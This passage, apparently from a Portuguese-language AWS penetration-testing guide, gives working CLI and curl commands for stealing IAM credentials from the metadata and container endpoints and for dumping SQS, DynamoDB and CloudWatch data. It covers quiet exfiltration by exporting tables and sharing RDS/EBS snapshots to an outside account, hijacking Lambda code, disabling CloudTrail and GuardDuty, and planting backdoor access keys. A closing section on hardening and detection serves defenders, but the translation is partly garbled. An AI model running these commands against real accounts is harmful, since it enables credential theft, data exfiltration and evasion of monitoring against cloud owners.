-H "x-amz-security-token: $AWS_SESSION_TOKEN" \
-H "X-Amz-Target: AmazonEC2ContainerServiceV20141113.ListClusters" \
-H "Content-Type: application/x-amz-json-1.1" \
-d '{}' \
https://ecs.us-east-1.amazonaws.com/
aws ecs list-clusters
aws ecs list-services --cluster CLUSTER_NAME
aws ecs list-tasks --cluster CLUSTER_NAME
aws ecs describe-task-definition --task-definition TASK_DEF_NAMEDuas funções distintas: papel de execução (executionRoleArn, infraestrutural: extração de imagens, registro, injeção de segredos) vs função da tarefa (taskRoleArn, o privilégio do aplicativo em execução).
containerDefinitions[].environment = limpar variáveis; containerDefinitions[].secrets = referências ao Secrets Manager/SSM, não ao valor em si.
Shell interativo em um contêiner ECS: ecs:ExecuteCommand
#
Se a tarefa tiver enableExecuteCommand: true e com o agente SSM no contêiner, você pode obter um shell direto sem passar por nenhum bastion:
aws ecs execute-command \
--cluster CLUSTER_NAME --task TASK_ID \
--container CONTAINER_NAME --interactive \
--command "/bin/sh"exigir ecs:ExecuteCommand mais ssmmessages:CreateControlChannel/CreateDataChannelUma vez dentro do sistema, as credenciais da função de tarefa podem ser obtidas da mesma forma que no Lambda:
curl -s "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"SQS e SNS: Dados em Trânsito #
As filas de mensagens são frequentemente negligenciadas em comparação com o S3/Secrets Manager, mas elas transportam cargas úteis de aplicativos que incluem tokens, IDs de sessão ou dados do usuário.
Ponto de extremidade SQS: https://sqs.us-east-1.amazonaws.com/ (JSON 1.0, X-Amz-Target: AmazonSQS.ReceiveMessage). Pontos de extremidade SNS: https://sns.us-east-1.amazonaws.com/ (protocolo de consulta, como STS/IAM/EC2).
curl --aws-sigv4 "aws:amz:us-east-1:sqs" \
--user "$AWS_ACCESS_KEY_ID:$AWS_SECRET_ACCESS_KEY" \
-H "x-amz-security-token: $AWS_SESSION_TOKEN" \
-H "X-Amz-Target: AmazonSQS.ReceiveMessage" \
-H "Content-Type: application/x-amz-json-1.0" \
-d '{"QueueUrl":"QUEUE_URL","MaxNumberOfMessages":10}' \
https://sqs.us-east-1.amazonaws.com/
aws sqs list-queues
aws sqs get-queue-attributes --queue-url QUEUE_URL --attribute-names All
# Peek at messages without deleting them from the queue — VisibilityTimeout
# determines how long they stay hidden from other consumers after this
aws sqs receive-message --queue-url QUEUE_URL --max-number-of-messages 10
aws sns list-topics
aws sns get-topic-attributes --topic-arn TOPIC_ARNreceive-message Move temporariamente a mensagem para fora da fila para outros consumidores (durante a duração de VisibilityTimeout): se a mensagem não for explicitamente excluída (delete-messageOu, se expirar o tempo limite, torna-se visível novamente — mas o consumo repetido ou mal gerenciado ainda pode interferir no processamento normal do aplicativo. Trate-o como uma ação com efeitos colaterais, não como uma leitura inofensiva.
DynamoDB: Dados de aplicação em repouso #
Frequentemente negligenciado, assim como o SQS/SNS, é onde as sessões de usuários, tokens, dados pessoais e, às vezes, configurações inteiras de aplicativos acabam armazenados — com permissões de leitura que, surpreendentemente, costumam ser mais amplas do que as do S3, porque "é apenas um banco de dados interno".
aws dynamodb list-tables
aws dynamodb describe-table --table-name TABLE_NAME
# Full table dump — no filter, reads every item. On a large table this
# burns read capacity units and is slow; scope with --limit or a
# FilterExpression when you only need to confirm sensitive fields exist
aws dynamodb scan --table-name TABLE_NAME --limit 20describe-table também mostra se a tabela tem o Streams ativo (StreamSpecification): Se sim, e se você tiver dynamodb:GetRecords/GetShardIterator No fluxo ARN relevante, você pode ler o fluxo de alterações em tempo real sem precisar fazer varredura — útil para interceptar dados gravados. depois que você obteve acesso, sem precisar repetir varreduras periódicas ruidosas.
Exportação silenciosa para S3Se a tabela tiver a recuperação pontual ativada, export-table-to-point-in-time Baixe a tabela inteira para um bucket S3 sem fazer nada. scan — Sem consumo de capacidade de leitura, sem operações em tabelas ativas, mais discreto do que um despejo baseado em varredura:
aws dynamodb export-table-to-point-in-time \
--table-arn arn:aws:dynamodb:us-east-1:ACCOUNT_ID:table/TABLE_NAME \
--s3-bucket YOUR_BUCKET --export-format DYNAMODB_JSONEndurecimento: scan/export Em tabelas sensíveis, as operações devem ser restritas com condições do IAM e monitoradas — uma exportação para um bucket externo à conta é um forte indício de exfiltração.
Logs do CloudWatch: Revelando segredos registrados por engano #
Uma das fontes mais comuns de vazamentos na prática: um aplicativo que registra todo o objeto de solicitação/resposta para depuração, incluindo variáveis de ambiente, cabeçalhos de autenticação ou senhas em texto não criptografado — e ninguém percebe porque os registros não são lidos manualmente.
aws logs describe-log-groups
# Search a specific log group for common secret patterns over the last 24h
aws logs filter-log-events \
--log-group-name /aws/lambda/TARGET_FUNCTION \
--start-time $(( $(date +%s) - 86400 ))000 \
--filter-pattern "password"
# Repeat with other high-value patterns
aws logs filter-log-events --log-group-name /aws/lambda/TARGET_FUNCTION --filter-pattern "AKIA"
aws logs filter-log-events --log-group-name /aws/lambda/TARGET_FUNCTION --filter-pattern "?Authorization ?Bearer ?secret"filter-pattern O CloudWatch Logs oferece suporte a uma sintaxe de correspondência simples (não uma expressão regular verdadeira) — para pesquisas mais sofisticadas em grandes exportações, exporte o grupo de logs para o S3 (create-export-task) e passe os arquivos para grep/ferramentas locais dedicadas.
IMDS (serviço de metadados) #
Se você tiver execução de código em uma instância EC2, o serviço de metadados geralmente é o caminho mais rápido para obter as credenciais do IAM.
# IMDSv1 — no token required
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME
# IMDSv2 — a token obtained via PUT is required
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" \
-H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAMEOutras vias IMDS úteis para reconhecimento pós-exploração:
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/info
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/instance-id
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/placement/region
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/user-dataO IMDSv2 não é uma proteção absoluta contra SSRF: ele requer o método. PUT para obter o token, o que atenua contra SSRFs simples baseados em redirecionamento/GET, mas não protege se o atacante já tiver execução de código local, se o SSRF permitir a falsificação de cabeçalhos/métodos arbitrários ou se HttpTokens ainda é optional.
CloudTrail #
Endpoint: https://cloudtrail.us-east-1.amazonaws.com/ (JSON 1.1, X-Amz-Target: com.amazonaws.cloudtrail.v20131101.CloudTrail_20131101.DescribeTrails):
curl --aws-sigv4 "aws:amz:us-east-1:cloudtrail" \
--user "$AWS_ACCESS_KEY_ID:$AWS_SECRET_ACCESS_KEY" \
-H "x-amz-security-token: $AWS_SESSION_TOKEN" \
-H "X-Amz-Target: com.amazonaws.cloudtrail.v20131101.CloudTrail_20131101.DescribeTrails" \
-H "Content-Type: application/x-amz-json-1.1" \
-d '{}' \
https://cloudtrail.us-east-1.amazonaws.com/
aws cloudtrail describe-trails
aws cloudtrail get-trail-status --name TRAIL_NAME
aws cloudtrail lookup-events --max-results 20O objetivo do monitoramento do CloudTrail é entender o que está sendo realmente registrado, e não estimar o nível de ruído que você pode tolerar: mesmo sem um registro configurado, os eventos de gerenciamento permanecem visíveis em Histórico de Eventos por 90 dias. Eu dados do evento (GetObjectAs invocações Lambda não estão incluídas por padrão e devem ser ativadas explicitamente — consulte com get-event-selectors.
Erro de solicitação expirada / distorção do relógio #
Se um comando falhar com o seguinte erro:
An error occurred (RequestExpired) when calling the ListFunctions operation: Request has expired.O problema quase sempre não são as credenciais, mas sim o relógio do sistema: a AWS rejeita solicitações cujo registro de data e hora diverge muito (cerca de 15 minutos) da hora em seus servidores.
date -u
timedatectl
timedatectl timesync-statusCorrigido: Reativar a sincronização NTP do sistema, evitando a alteração manual da hora como procedimento padrão.
sudo timedatectl set-ntp true
timedatectlSolução de problemas: erros comuns durante um teste de penetração na AWS #
| erro | Causa provável | Comando de diagnóstico | solução |
|---|---|---|---|
AccessDenied | A identidade não possui permissão IAM para essa ação específica, ou Deny O bloco explicit/SCP o bloqueia. | aws iam simulate-principal-policy --action-names AZIONE_FALLITA | Verifique as políticas anexadas/embutidas, os limites de permissões e os SCPs; nem sempre é um beco sem saída, tente ações alternativas. |
ExpiredToken / TokenRefreshRequired | As credenciais temporárias (STS, assumir função, IMDS) expiraram. | Verifique o campo Expiration devolvido após a emissão das credenciais | Solicitar novas credenciais (novas) assume-role (ou nova chamada para credenciais IMDS/contêiner) |
InvalidClientTokenId | A chave de acesso não existe, foi excluída ou pertence a uma conta/partição diferente da esperada. | aws sts get-caller-identity com as mesmas credenciais para confirmar se são válidas. | Verifique se você copiou a chave correta; certifique-se de não misturar credenciais entre perfis diferentes. |
SignatureDoesNotMatch | Chave secreta incorreta ou a solicitação foi alterada após a assinatura (proxy, codificação). | Executa novamente o mesmo comando sem passar por proxies/wrappers que modificam a requisição. | Verifique a chave secreta; se você usar curl --aws-sigv4, verifique se o cabeçalho Content-Type Você não altera nada entre assinar e enviar. |
RequestExpired / assinatura “ainda não válida” | Desvio do relógio local (consulte a seção dedicada abaixo) | date -u / timedatectl | Ressincronizar o relógio via NTP |
| Resultados vazios em uma região específica | Os recursos existem em uma região diferente da ativa, ou a região não está habilitada para a conta. | aws ec2 describe-regions --all-regions, repita o comando com --region REGION explícito | Itere em todas as regiões habilitadas, não pare na região do perfil padrão. |
NoCredentialsError / “Não foi possível localizar as credenciais” | Nenhum perfil ativo, nenhuma variável de ambiente exportada ou arquivos ~/.aws/credentials ausente | aws configure list | Variáveis de exportação AWS_* ou verifique --profile |
Tabela de comandos rápidos #
| Serviço | Comando | O que isso retribui |
|---|---|---|
| STS | aws sts get-caller-identity | Identidade atual |
| IAM | aws iam get-role --role-name X | Política de confiança de funções |
| IAM | aws iam simulate-principal-policy | Permissões válidas (triagem) |
| S3 | aws s3api get-bucket-policy-status | Se o bucket for público |
| EC2 | aws ec2-instance-connect send-ssh-public-key | Acesso SSH temporário |
| SSM | aws ssm send-command | Executando comandos no EC2 (root/SYSTEM) |
| Lambda | aws lambda update-function-code | Sequestrar código de uma função existente |
| Gerente de segredos | aws secretsmanager get-secret-value | Valor do sigilo |
| Cognito | cognito-identity get-credentials-for-identity | Credenciais do IAM sem autenticação |
| ECS | aws ecs execute-command | Shell interativo no contêiner |
| CloudTrail | aws cloudtrail get-trail-status | Cobertura de registro real |
| KMS | aws kms put-key-policy | Privesc: Permitir descriptografia direta em uma chave |
| EBS/RDS | modify-snapshot-attribute / modify-db-snapshot-attribute | Exfiltração via compartilhamento de snapshots, sem afetar o recurso ativo. |
| S3 | aws s3 presign | URL temporária para download sem expor credenciais |
| SQS | aws sqs receive-message | Lendo mensagens em fila (dados do aplicativo em trânsito) |
| DynamoDB | aws dynamodb scan | Despejar dados de aplicativos em repouso |
| Logs CloudWatch | aws logs filter-log-events --filter-pattern X | Segredos registrados acidentalmente por aplicativos |
| CloudTrail | aws cloudtrail stop-logging | Evasão defensiva: Desative a visibilidade antes de se mover. |
| Serviço de guarda | aws guardduty update-detector --no-enable | Evasão de defesa: desativa o detector |
| IAM | aws iam create-access-key usuário legítimo | Persistência: porta dos fundos silenciosa |
| EC2 | aws ec2 modify-instance-attribute --user-data | Execução de código como root na próxima inicialização |
| EC2 | aws ec2-instance-connect send-serial-console-ssh-public-key | Console serial, bypass SSH/SSM |
| SSM | aws ssm start-session ... AWS-StartPortForwardingSessionToRemoteHost | Túnel para serviços internos, ignorando o grupo de segurança |
| EKS | aws eks update-kubeconfig + kubectl | Acessando o plano de controle do Kubernetes via IAM |
| Gateway de API | aws apigateway get-stages | Encontre pontos de extremidade com authorizationType: NONE |
| Organizações | aws organizations list-accounts | Mapeie toda a organização; pivote através de OrganizationAccountAccessRole |
| Opensearch | aws opensearch describe-domain | Domínio com política de acesso aberto, consulta sem autenticação. |
| Funções de etapa | aws stepfunctions get-execution-history | Limpar entrada/saída entre etapas |
| CloudFormação | aws cloudformation get-template | Segredo codificado no modelo e na saída |
| Cola | aws glue get-connections | Limpar nome de usuário/senha do banco de dados |
| CódigoBuild | aws codebuild batch-get-projects | Variáveis de ambiente com credenciais claras |
| KMS | aws kms decrypt | Decifre os dados diretamente com kms:Decrypt |
| S3 | aws s3api list-object-versions | Recuperar objetos "excluídos" (controle de versão) |
| Route53 | aws route53 list-resource-record-sets | Topologia interna, apropriação de subdomínio |
| IAM | aws accessanalyzer list-findings-v2 | Ativos entre contas/expostos publicamente |
Perguntas frequentes #
Como faço para verificar minha identidade atual na AWS?
aws sts get-caller-identity —Retorna a conta, o ARN e o tipo de entidade principal. Este é o primeiro comando a ser executado com quaisquer novas credenciais.
Como faço para realizar uma chamada à AWS usando o curl em vez da CLI?
Usar curl --aws-sigv4 "aws:amz:REGION:SERVICE" --user "ACCESS_KEY:SECRET_KEY", adicionando x-amz-security-token Se as credenciais forem temporárias. O formato do corpo/URL depende do protocolo do serviço: urlencoded para consultas de API (STS, IAM), JSON com cabeçalho. X-Amz-Target Para serviços JSON 1.1 (Secrets Manager, SSM, Cognito), utilize o caminho REST direto para Lambda/S3/EKS.
Como posso identificar um possível caminho de escalonamento de privilégios?
Lista as ações IAM disponíveis e, em seguida, as compara com padrões conhecidos: iam:PassRole Para serviços que executam código, modificam políticas/políticas de confiança em si mesmos ou criam chaves de acesso para outros usuários. Sempre verifique antes de executar qualquer ação.
Qual a diferença entre IMDSv1 e IMDSv2? O IMDSv1 responde a solicitações GET sem autenticação. O IMDSv2 exige primeiro uma solicitação PUT para obter um token com um TTL limitado — ele mitiga SSRFs simples, mas não protege contra SSRFs que forjam solicitações PUT com cabeçalhos personalizados, nem protege contra a execução direta de código.
Quais são as limitações do CloudTrail como fonte de auditoria? Os eventos de gerenciamento permanecem no Histórico de Eventos por 90 dias, mesmo sem uma trilha dedicada, mas os eventos de dados não são incluídos por padrão e precisam ser habilitados explicitamente — muitas organizações não fazem isso.
Qual a diferença entre credenciais IAM permanentes e credenciais STS temporárias?
Uma chave de acesso IAM permanente (AKIA...) permanece válido até ser excluído manualmente — se você o encontrar em um repositório ou arquivo de configuração, ele funcionará até que alguém o perceba. As credenciais do STS (de assume-role, get-session-token, IMDS, credenciais de contêiner) sempre têm um Expiration e um AWS_SESSION_TOKEN Associados: eles expiram sozinhos, geralmente em poucas horas. Sempre verifique qual tipo você tem antes de agendar um teste.
Como faço para diagnosticar um erro? AccessDenied durante um teste de penetração na AWS?
Isso não significa automaticamente um "beco sem saída". Significa apenas reiniciar a ação que falhou. simulate-principal-policy Para determinar se é uma negação explícita, uma condição não atendida, um limite de permissões ou um SCP — cada um deles sugere um caminho diferente a ser tentado (consulte a tabela de solução de problemas acima para outros erros comuns).
Como encontro buckets públicos do S3 sem credenciais da AWS?
Com aws s3 ls s3://NOME-BUCKET --no-sign-requestOs buckets públicos respondem mesmo sem assinatura. Para pesquisá-los pelo nome da empresa, permute o nome em variantes (-backup, -logs, -dev, -prod) e encabeçar cada um — NoSuchBucket Significa que o nome está livre. AccessDenied que existe, mas é privada.
Como faço para executar comandos em uma instância EC2 sem ter uma chave SSH?
Três rotas principais: Comando SSM Run (aws ssm send-command, executado como root/SYSTEM se o agente SSM estiver ativo), Conexão de instância EC2 (send-ssh-public-key, pressionamento temporário da sua tecla) e a modificação dos dados do usuário (modify-instance-attribute + iniciar/parar, executa um script na inicialização). A escolha depende das permissões do IAM que você possui e do que está instalado na instância.
Como faço para recuperar as credenciais do IAM de uma função Lambda ou de um contêiner ECS?
Não via IMDS (o Lambda não o expõe): use o endpoint de credenciais do contêiner local. curl http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_FULL_URI com o cabeçalho Authorization: $AWS_CONTAINER_AUTHORIZATION_TOKEN (na ECS a variável é AWS_CONTAINER_CREDENTIALS_RELATIVE_URI). Retorna as credenciais temporárias da função de execução.
Como posso extrair dados de um banco de dados RDS sem me conectar ao banco de dados?
Ao compartilhar uma captura de tela com uma conta que você controla (rds:ModifyDBSnapshotAttribute), e então reconstruir uma nova instância a partir desse snapshot em sua conta (restore-db-instance-from-db-snapshotNenhuma consulta ao banco de dados ativo, nenhuma conexão de rede com o destino — apenas uma cópia completa fora do seu perímetro de monitoramento. O mesmo padrão se aplica ao EBS com snapshots de volume.
Quais ferramentas devem ser usadas em conjunto com a AWS CLI para uma avaliação mais abrangente? A AWS CLI e o curl abrangem a enumeração manual e a verificação de caminhos específicos. Para uma varredura sistemática das políticas do IAM ou a identificação automática de cadeias de privilégios escalonados, ferramentas dedicadas automatizam dezenas de chamadas: Pacu (framework de exploração da AWS), ScoutSuite e Prowler (auditorias de configuração de múltiplos serviços), CloudSplaining (análise de permissões excessivas do IAM) e Cartography (mapeamento gráfico de relacionamentos de recursos). Essas ferramentas são úteis para a triagem inicial, mas não substituem a verificação manual dos caminhos mais promissores.
Endurecimento e detecção: a perspectiva defensiva #
Cada técnica ofensiva neste guia possui uma contra-medida. Um relatório de teste de penetração que se limita à lista de vulnerabilidades representa apenas metade da história: o cliente quer saber o que precisa ser alterado . Este é o resumo defensivo, organizado por classe de ataque.
Escalada de identidade e privilégios #
- Privilégio real mínimo: nenhuma política com
Action: "*"oiam:*/sts:AssumeRolesuResource: "*"As ações habilitadoras (iam:CreatePolicyVersion,iam:PassRole,iam:CreateAccessKey,iam:UpdateAssumeRolePolicy) deve ser concedido apenas quando estritamente necessário e comResourceestreito. - Limite de permissões Em todas as funções que podem ser criadas por usuários sem privilégios de administrador: limita o nível máximo de privilégios, mesmo que a política associada seja muito abrangente.
- SCP em nível organizacional: negar explicitamente
iam:CreateUser/CreateAccessKeyfora dos processos esperados e na desativação dos serviços de registro. ExternalIdobrigatório Em qualquer política de confiança entre contas em relação a terceiros; nunca confie em uma conta inteira (:root) sem condição.- MFA Obrigatório para ações sensíveis, definido por meio de condição.
aws:MultiFactorAuthPresent.
Dados e armazenamento #
- Bloco S3 Acesso Público Nível de conta, não apenas nível de bucket; versionamento com MFA; exclusão em buckets sensíveis; criptografia SSE-KMS com política de chaves restritiva.
- instantâneo EBS Bloquear o acesso público ao nível da conta; auditoria periódica de
createVolumePermission/launchPermissionem snapshots e AMIs. - RDS/EBS: Sem capturas de tela compartilhadas publicamente; criptografia com CMK cujo acesso é separado daqueles que gerenciam as capturas de tela.
- Gerente de Segredos/SSM/ColaNão há segredos claros nas variáveis de ambiente do Lambda/ECS/CodeBuild, nos dados do usuário ou na saída do CloudFormation; a rotação está ativa.
Computar e movimento lateral #
- IMDSv2 obrigatório (
HttpTokens: required) em todas as instâncias, comHttpPutResponseHopLimit: 1Para bloquear o uso do contêiner. - SSMRegistro de sessão no S3/CloudWatch e restrição de
ssm:SendCommand/StartSessionApenas para operadores autorizados. - ECR: tag de imutabilidade + verificação no push.
- EKS: endpoint de API privado quando possível,
aws-authCom mapeamento mínimo e RBAC com privilégio mínimo.
Detecção: eventos do CloudTrail para alertar sempre sobre. #
Um SOC da AWS deve ter alertas de alta prioridade para: StopLogging, DeleteTrail, UpdateDetector (Habilitar=falso), CreateFilter (Ação=ARQUIVO), DeleteFlowLogs, StopConfigurationRecorder —todos os sinais de evasão defensiva. E então: CreateAccessKey/CreateLoginProfile fora do processo de integração, CreatePolicyVersion/AttachUserPolicy em direção a políticas privilegiadas, UpdateAssumeRolePolicy, AddPermission/CreateGrant/PutResourcePolicy com entidades externas, ModifySnapshotAttribute/ModifyDBSnapshotAttribute com contas externas, GetFederationToken com políticas abrangentes.
O GuardDuty, o Security Hub e um Analisador de Acesso ativo em cada conta resolvem grande parte disso automaticamente — desde que ninguém consiga desativá-los sem gerar um alerta próprio.
Lista de verificação de engajamento operacional #
- Identidade atual confirmada (
get-caller-identity) e prestar contas de acordo com o escopo - Regiões abrangidas listadas explicitamente (não apenas a do perfil padrão)
- Tipo de credencial conhecida (permanente ou temporária) e data de expiração indicadas.
- Permissões efetivas mapeadas para a identidade atual (política anexada/embutida, limite, SCP, se visível)
- Serviços e recursos acessíveis enumerados (IAM, S3, EC2, Lambda, contêineres, armazenamentos secretos)
- Caminhos de escalonamento de privilégios identificados, com pré-requisitos e impactos documentados para cada um.
- Qualquer ação desse tipo
Wrealizada somente após confirmação de que está dentro do escopo autorizado. - Evidências coletadas (saída do comando, não capturas de tela desnecessárias de dados sensíveis)
- Cobertura CloudTrail verificada, para que você saiba exatamente o que seu cliente verá nos registros.
- Proposta de remediação para cada descoberta, não apenas a lista de vulnerabilidades.
Modelo de descoberta sintética #
Title: [Servizio] — [Azione IAM] permette [impatto] senza [condizione mancante]
Severity: Critical / High / Medium / Low
Prerequisite: identità X ha il permesso Y su risorsa Z (nessuna MFA/condition richiesta)
Impact: l'azione Y consente [privilege escalation / data exposure / code execution],
dimostrato con [comando usato in verifica controllata]
Evidence: output del comando (redatto per rimuovere eventuali secret reali)
Remediation: applicare least privilege su Y, aggiungere condition [IP/MFA/tag],
oppure rimuovere il permesso se non necessario al workflow legittimoPara uma visão geral completa da segurança da plataforma, consulte Segurança da AWS no Hackita.it. Para saber mais sobre SSRF como vetor de acesso ao IMDS — frequentemente o primeiro elo em uma cadeia que leva a ele — consulte o artigo dedicado ao SSRF.








